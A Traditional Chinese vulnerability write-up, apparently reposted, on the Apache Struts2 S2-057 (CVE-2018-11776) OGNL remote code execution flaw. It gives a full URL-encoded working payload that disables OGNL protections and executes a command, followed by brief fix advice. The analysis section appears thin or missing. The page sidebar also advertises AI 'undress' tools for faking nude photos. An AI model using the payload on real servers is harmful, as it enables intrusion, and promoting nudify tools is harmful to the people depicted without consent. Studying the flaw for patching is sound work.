前言
Apache Struts框架是基於Java Servlets,JavaBeans, 和JavaServer Pages (JSP)的Web應用框架的開源項目,Struts基於Model-View-Controller (MVC)的設計模式,可以用來構件複雜的Web應用。它允許我們分解一個應用程式的商業邏輯、控制邏輯和表現邏輯的程式碼,使它的重用性和維護性更好。 Struts框架是Jakarta工程的一部分,由Apache軟體基金會管理。
天融信阿爾法實驗室將為你帶來Apache Struts2 S2-057遠端程式碼執行漏洞分析~
一、 漏洞描述
當struts.mapper.alwaysSelectFullNamespace設定為true,並且package標籤頁以及result的param標籤頁的namespace值的缺失,或使用了通配符時可造成namespace被控制,最終namespace會被帶入OGNL語句執行,從而產生遠端程式碼執行漏洞。
1. 受影響的系統版本
Apache Struts 2.3 - Struts 2.3.34
Apache Struts 2.5 - Struts 2.5.16
2.漏洞編號
CVE-2018-11776
二、環境建置
1.下載:http://archive.apache.org/dist/struts/2.3.34/ struts-2.3.34-all.zip
2. 修改設定檔struts-actionchaining.xml
此漏洞有多種攻擊向量包括:
#Redirect action
Action chaining
Postback result
#以第一種為例子,修改設定檔內容為:
##
%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23cmd%3d%40java.lang.Runtime%40getRuntime().exec(%22calc%22))%7d此payload 僅適用於2.3系列版本。
固定package標籤頁以及result的param標籤頁的namespace值,以及禁止使用萬用字元。
以上是如何進行Apache Struts2 S2-057遠端程式碼執行漏洞分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

SublimeText3 Linux新版
SublimeText3 Linux最新版

SublimeText3漢化版
中文版,非常好用

VSCode Windows 64位元 下載
微軟推出的免費、功能強大的一款IDE編輯器

Safe Exam Browser
Safe Exam Browser是一個安全的瀏覽器環境,安全地進行線上考試。該軟體將任何電腦變成一個安全的工作站。它控制對任何實用工具的訪問,並防止學生使用未經授權的資源。

PhpStorm Mac 版本
最新(2018.2.1 )專業的PHP整合開發工具